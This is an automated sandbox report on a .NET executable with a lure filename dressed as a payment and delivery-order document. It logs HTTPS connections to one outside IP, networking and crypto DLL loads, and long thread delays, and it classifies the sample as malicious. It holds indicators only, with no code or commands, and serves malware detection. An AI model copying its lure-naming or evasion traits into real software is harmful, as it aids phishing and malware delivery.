Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50094 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Sample has a suspicious name (potential lure to open the executable)

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static file information: Suspicious name

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000000.2038822176.0000000000DF2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePrtetifws.exe4 vs FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4493517178.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Binary or memory string: OriginalFilenamePrtetifws.exe4 vs FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal64.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Mutant created: NULL

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

ReversingLabs: Detection: 70%

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Memory allocated: 1780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Memory allocated: 1780000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Window / User API: threadDelayed 2576			Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Window / User API: threadDelayed 7258			Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 5020	Thread sleep count: 2576 > 30	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 5020	Thread sleep count: 7258 > 30	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99776s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99657s >= -30000s	Jump to behavior
